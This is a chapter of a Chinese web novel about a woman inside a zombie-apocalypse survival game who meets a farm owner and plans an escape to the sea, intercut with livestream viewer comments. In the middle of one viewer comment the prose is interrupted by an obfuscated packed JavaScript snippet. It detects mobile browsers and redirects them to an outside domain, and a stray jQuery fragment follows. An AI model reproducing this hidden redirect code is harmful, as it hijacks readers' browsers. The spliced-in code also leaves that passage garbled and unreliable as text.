暗处之人现身，王德华惊吓过后才后知后觉将抢端起指向黑影。
“我说了，别动。”昏暗的月光下长发女人现出身形，一身长裙睡衣外披着件毛绒外套，一手拿着长刀正抵在宿昭腰上，一手正拿着斧头，上面还有血液在斧尖滴落。
看清了女人面孔的王德华微微惊愣，枪口调转向下，脱口叫道：
“学姐？！”
……
“啥？朕的皇家御用翻译呢，这两人在说啥？”
“哇！好美的外国小姐姐！是专业演员吗？”
“这是哪国语言啊，听着像德语俄语西班牙语，可是我只会点塑料英语啊？！！”
“哈我连英语都听不懂，这年头看直播都要门槛了吗呜呜呜。”
“这是冰岛语，全球使用人数才36万，除了移民或上学或感兴趣的没多少人学。主播是在冰岛拍摄吗，但这季节也不对啊？”
“大家，直播间下方有字幕，打开就能看翻译了。不过现在直播间功能都这么强了吗？”
“我敢确定一定以及肯定，昨天看直播还没有实时翻译功能的！老实交代，博主和平台老板有什么py交易？！（猫猫举起玩具枪.jpg）”
“那也不对啊，我去看其他人的直播也没有实时翻译功能啊？”
“都是国语直播需要什么翻译？方言翻译吗？”
“天呐竟然能在这里听到冰岛语，想起了我那经年挂科的成绩……怎么看个直播也能痛击我，跪了。”
“众所周知，只有录播才会有翻译字幕，所以这是实锤了你们还在无脑给主播洗。”
“不是，你们这些非要揪着主播是直播还是录播的人才有毒吧，还要主播怎么证明？弹幕都互动过了。而且就算是录播就凭这实景这场面这不出戏像看电视剧一样的演技我也爱看！”
“哎别管他们了专业找茬的，我现在更好奇故事往下还要怎么发展，我还没玩过这个游戏呢。”
系统放任观众质疑也是为了提升直播间的讨论度，现在已经有很多人对提及录播这事有些厌烦，系统便在直播间设置了屏蔽词。
过犹不及，给观众留一个氛围好的讨论空间也是必要的。
宿昭这边，经过了王德华的贴心翻译，三人终于成功搭上线，可以友好交流了。
王德华的学姐——凯瑟琳，就是这家农场的主人，准确说是农场主人的女儿。
而她爸爸，刚刚被凯瑟琳解决。
没错他父母都不幸变成了丧尸。
待凯瑟琳带人边熟悉房屋布局边仔细检查锁好所有门窗，将窗帘全部拉上后，三人终于能稍微安心地休息一下，并确定了守夜的顺序。
凯瑟琳原本只是休假回家看望生病的母亲，没想到世界突然大变样，出现了丧尸这种东西。
她不可能再回去她工作的人口密集的大城市，那属于找死。于是凯瑟琳在短暂思索后决定留在这里，至少这里人少，看起来够安全，而且她家农场有上百只鸡，还有种植蔬菜小麦收获的粮种，短期内完全可以实现自给自足。
但宿昭的话却打碎了她的这个希望或者说决定。
“丧尸的听力很强，几百米外的声音都能听到，这里这么多只鸡没办法做到静音，到时肯定会招来不少那东西。”
“而且据我观察，丧尸是在不断实现进化的。进化机制不清楚，但难保将来他们的听力范围不会扩到到千米远，到时这里的农场就是活生生的靶子，只能被围困到死。”
“那你有什么想法？”凯瑟琳问。她很好奇这个女孩，虽然她看上去很年轻很漂亮，但就是有种气场，凡事都胸有成竹仿佛什么问题都难不倒她的气场。
这让她说什么都有一种说服力，天生的领导者。
但凯瑟琳不知道为什么有些不太喜欢女孩看她的眼神，虽然无论是行动还是语言她都没有冒犯。
她想知道她的想法她的来历，只是可惜语言不通交流有些费力。
她又看了眼旁边这个眼睛总在熠熠发光的男孩，一开始凯瑟琳甚至没记起来这是谁，直到男孩重新自我介绍补充了几句，她才想起来这个对于她来说长得都差不多的亚裔男孩的脸。
她和他是在去年的朋友聚会上认识的。当时朋友们玩得开心就邀请他一起溜冰，没想到看起来玩得很开的人突然在这件事上和朋友起了分歧，甚至差点吵起来，最终还是凯瑟琳见气氛不对做了和事佬，硬找了半宿话题（几乎把她爷爷都请了出来）气氛才重新好了起来。
事后也是凯瑟琳送男孩回的家，在车上对她又是道谢又是道歉，凯瑟琳解释她也不喜欢那个，还玩笑地说让他别误会，他们国家不是M国，和男孩的国家一样他们这里做那种事也是违法的。
是个教养很好的男孩，这是王德华那晚给她留下的印象。之后半年两人再没联系也再没见过，直到现在。
宿昭直白说出了她的想法，她目的很明确：“病毒是突然爆发的，且传播迅速，很多人来不及反应就中招了，政府反应不及，丧尸群体呈指数上涨，而且他们还可以进化。要不了多久陆地就会成为丧尸们的游乐场，要想活，我们最后只能去往海上，而这里距离最近的港口足有几千公里，所以我们需要一辆靠谱的出行工具。
“而我听说你有辆房车，这正是我们来找你的缘由。”
凯瑟琳了然，看向王德华，他翻译完后弱弱地笑着补充了几句：“学姐不是说过家里正在组装房车，我还给了点建议呢……可能学姐不记得了。地址……也是无意间听同学讲的。学姐你放心，宿昭很厉害的，她将我从丧尸堆里背着救出来，她有功夫！功夫你知道吧……巴拉巴拉……总之和我们一起去海上吧，我们一起回明国，说不定我家那边早控制住了！”
凯瑟琳还在认真思考王德华的话，宿昭在旁边放下水杯，表情从淡定从容逐渐变得有些懵。
她有说这么多话吗？
宿昭看向王德华，发现人家还在那专注地望着对面的凯瑟琳，时不时手舞足蹈、叽里呱啦对着人家孔雀开屏。
宿昭：好，打扰了，我不应该出现在这里。
她想起来这俩人是有过那么几次感情线的，只是大多数存档里宿昭都没玩到他们发展感情线的时候。
要么他们先死要么宿昭先死。
这个游戏如此难还有一些死忠粉坚持在玩也是这个原因吧。
很真实。即便玩家知道这些NPC的性格与感情是早就被设定好的存在。
弹幕：
“啧啧啧，还以为这位帅气小哥是男二将来会成为我们主播的cp预备役来着，原来心有所属啊。”
“玩过支线的玩家表示，这位男npc是真含蓄啊，要不是他后期突然表白，我是真一点都没看出来他暗恋学姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502784|170433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……甚至曾经误会他是变态来着。”
“哈哈哈哈主播的表情好好笑哈哈哈哈哈，胸有成竹——逐渐疑惑——恍然大悟——死鱼眼，截图啊截图！以后就是我吃瓜专用表情包了！”
宿昭不再理那个花孔雀，意思传达到位就行。
她起身走到凯瑟琳给她休息的房间，准备趁着现在水还能用好好洗个热水澡。她今天过度用腿，明天可能会废，泡澡可以促进全身血液循环放松肌肉，能稍稍缓解一下疲劳和酸痛，只是这是在人家浴室，不太方便。
——嗯，浴缸也要列入安全屋家具清单，不过那是以后的事。
等完成任务，她可以自行选择在这个世界滞留的时间，到时她要挑一张舒服的大床，能让她在上面打滚的那种。
现在是末世第二日晚，她需要在第七天成功登上去往大海的船，时间很紧，明天就要出发。
而且丧尸爆发前三天它们的战力还属于人用冷兵器可以单挑的存在，从第四天开始它们的异变就会加速，跑得快力气也变大，到第七天甚至有丧尸能飞天，一跃能上三层楼，行动敏捷，不知道什么时候就跳到人背后，让人来不及反应便瞬间黑屏，能将人气得摔键盘。
宿昭将热水温度调高，压下一瞬间泛起的凉意。
玩游戏时还有死的不是我那种隔岸观火的安全感，现在真人到了这游戏里，再想到曾经的死亡次数……真是要命。
无论如何，都不能在现在就倒下，宿昭有些发狠地想。
双手用力揉搓抹掉脸上的水，宿昭摘下浴巾擦干身体换上干净整齐的衣物走出浴室。
卧室门开着，王德华已经在客厅沙发上睡死，凯瑟琳正坐在床边换衣服。
宽松的睡衣褪下，看起来瘦挑的身材竟然也覆着一层薄薄的肌肉，大腿粗长有力，昏暗的灯光下泛着一层巧克力般的柔光。
凯瑟琳向她点了点头，轻声道：“明日一早我便将房车开出来，睡个好梦。”
宿昭：……。
凯瑟琳一顿，闭上了嘴巴，点点头拿起柜子上的□□就走了出去，坐在客厅窗前的沙发椅上开始守夜。
“其实……”系统声音弱弱地响起，“我可以将翻译气泡显示在说话人的头顶，这样你既能听懂又不用开弹幕遮挡视线了。”
夜深人静，今晚预计没什么危险，宿昭躺上柔软的床放松地闭上了眼睛，脑海里的语气都有些懒散，“你不是可以模糊人的感知吗，怎么不直接让我耳朵听懂外语？”
这是在末日里求生的游戏，重点在于寻找物资组建家园强壮自身，怪物都是能不打就不打，否则人物受伤死亡概率非常高。相应的，出现的人物角色也就不多。
当时宿昭看这些头顶冒乱码的小人只当他们是野人，能活就活，死了也无所谓。
现在她也是这么想的。
只是宿昭发现她身边活的小人（npc）越多，存活概率就越大，有些小人还有独特的技能。
能帮她闯关的她就救，就这么简单。
至于跟这些角色加深理解沟通交流……从没想过。
“不行哦，这项技术在危险技术监管名录里，每一个种类的使用都是细分出来专用的，申请打报告审查签字缺一不可，稍有滥用就会违法。”系统解释道。
“哦，那你们法律还挺完善。”宿昭无所谓道，不一会她就睡了过去。